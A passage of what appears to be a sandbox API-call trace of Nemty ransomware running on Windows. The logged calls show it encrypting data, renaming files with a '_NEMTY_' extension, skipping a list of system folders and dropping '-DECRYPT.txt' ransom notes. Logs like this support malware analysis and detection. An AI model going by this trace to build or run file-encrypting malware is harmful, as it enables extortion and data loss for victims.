returned 1 [0109.528] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0109.528] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gadget.xml", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0109.528] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gadget.xml", cchWideChar=10, lpMultiByteStr=0x653ec58, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gadget.xml", lpUsedDefaultChar=0x0) returned 10 [0109.528] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0109.528] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63401e0 [0109.528] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0109.528] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340288 [0109.528] Sleep (dwMilliseconds=0x5) [0109.541] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf4f03bf0, dwHighDateTime=0x1d561e7)) [0109.541] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf4f03bf0, dwHighDateTime=0x1d561e7)) [0109.541] GetLastError () returned 0x12 [0109.541] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0109.541] GetLastError () returned 0x12 [0109.541] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0109.541] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0109.541] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0109.541] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0109.541] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0109.541] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0109.541] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340330 [0109.541] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340330, pcchString=0x653e91c | out: pszString="qNTPSVA65HplE6O9Zm6ultBDO7gmhZayNeHig1XNS2xqVEGJa7a9jy3E/tUDKseE\r\n7NrX6URZzKzdu9IGtOnrbDC+M+mQgPNz3ex3fVhhIgcXtKzlkw9ypqPo6wq2uaZy\r\nhBdGBXqRnqIccspAfbLHMnOLYxu/xLkYTS7h5gxx0qDYNA1VwJxnpUuTe38Dzr7H\r\nff0CITxoSei3DouVW9KDMcA1TPOax/ONWfen8AHD1NiVo85f6h8X9x+2C1eLsVmg\r\n8kv4slj2oUZqtvakNm+80w/sVdJ2gRJ65F9DEAebKUqTuHMwC1CBL0h+Oa25s47q\r\nxnErCWOfQHp8y1/xo8VYUQ==\r\n", pcchString=0x653e91c) returned 1 [0109.541] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0109.542] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0109.542] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0109.542] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0109.542] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340330 [0109.542] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0109.542] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\gadget.xml" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\en-us\\gadget.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0109.542] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0109.542] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0109.542] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.542] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0109.551] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.551] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0109.551] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.551] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0109.561] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.561] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0109.561] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.561] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0109.570] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.570] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0109.570] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.570] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0109.579] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.580] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0109.580] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.580] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0109.589] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.589] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0109.589] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.589] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0109.598] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.598] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0109.598] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.598] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0109.608] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.608] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0109.608] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.608] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0109.617] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.617] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0109.617] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.617] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0109.627] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.627] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0109.627] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.627] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0109.637] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.637] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0109.637] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.637] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0109.643] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.643] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0109.643] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.643] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0109.649] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.649] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0109.649] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.649] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340330, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0109.649] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0109.649] CloseHandle (hObject=0xffffffff) returned 0 [0109.649] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404a0 [0109.649] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0109.649] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0109.649] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0109.649] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0109.649] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0109.649] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6343fe8 [0109.649] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6344090 [0109.649] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0109.649] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0109.649] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\gadget.xml" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\en-us\\gadget.xml"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\gadget.xml._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\en-us\\gadget.xml._nemty_kgobjgd_")) returned 0 [0109.650] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344090 | out: hHeap=0x4f90000) returned 1 [0109.650] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a0 | out: hHeap=0x4f90000) returned 1 [0109.650] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0109.650] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0109.650] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0109.650] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0109.650] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0109.650] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340288 | out: hHeap=0x4f90000) returned 1 [0109.650] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x235ff6a0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="js", cAlternateFileName="")) returned 1 [0109.650] lstrcmpiW (lpString1="js", lpString2=".") returned 1 [0109.650] lstrcmpiW (lpString1="js", lpString2="..") returned 1 [0109.650] lstrcmpiW (lpString1="js", lpString2="...") returned 1 [0109.650] lstrcmpiW (lpString1="js", lpString2="windows") returned -1 [0109.650] lstrcmpiW (lpString1="js", lpString2="$RECYCLE.BIN") returned 1 [0109.650] lstrcmpiW (lpString1="js", lpString2="rsa") returned -1 [0109.650] lstrcmpiW (lpString1="js", lpString2="NTDETECT.COM") returned -1 [0109.650] lstrcmpiW (lpString1="js", lpString2="ntldr") returned -1 [0109.650] lstrcmpiW (lpString1="js", lpString2="MSDOS.SYS") returned -1 [0109.650] lstrcmpiW (lpString1="js", lpString2="IO.SYS") returned 1 [0109.650] lstrcmpiW (lpString1="js", lpString2="boot.ini") returned 1 [0109.650] lstrcmpiW (lpString1="js", lpString2="boot.ini") returned 1 [0109.650] lstrcmpiW (lpString1="js", lpString2="AUTOEXEC.BAT") returned 1 [0109.650] lstrcmpiW (lpString1="js", lpString2="ntuser.dat") returned -1 [0109.650] lstrcmpiW (lpString1="js", lpString2="desktop.ini") returned 1 [0109.650] lstrcmpiW (lpString1="js", lpString2="CONFIG.SYS") returned 1 [0109.650] lstrcmpiW (lpString1="js", lpString2="RECYCLER") returned -1 [0109.650] lstrcmpiW (lpString1="js", lpString2="BOOTSECT.BAK") returned 1 [0109.650] lstrcmpiW (lpString1="js", lpString2="bootmgr") returned 1 [0109.650] lstrcmpiW (lpString1="js", lpString2="programdata") returned -1 [0109.650] lstrcmpiW (lpString1="js", lpString2="appdata") returned 1 [0109.650] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="js", cchWideChar=2, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2 [0109.650] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="js", cchWideChar=2, lpMultiByteStr=0x653ebd0, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="js", lpUsedDefaultChar=0x0) returned 2 [0109.650] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="js", cchWideChar=2, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2 [0109.650] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="js", cchWideChar=2, lpMultiByteStr=0x653ebd0, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="js", lpUsedDefaultChar=0x0) returned 2 [0109.651] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0109.651] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0109.651] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0109.651] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0109.651] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0109.651] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0109.651] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0109.651] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0109.651] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0109.651] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401e0 [0109.651] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0109.651] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340298 [0109.651] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0109.651] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\js\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\en-us\\js\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0109.653] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340298 | out: hHeap=0x4f90000) returned 1 [0109.653] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.653] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0109.654] CloseHandle (hObject=0x254) returned 1 [0109.654] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0109.654] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0109.654] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0109.654] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0109.654] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0109.654] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0109.654] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0109.654] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0109.654] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0109.654] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0109.654] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0109.654] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401e0 [0109.654] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0109.654] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340298 [0109.654] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0109.654] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\js\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\en-us\\js\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0109.655] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340298 | out: hHeap=0x4f90000) returned 1 [0109.655] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, 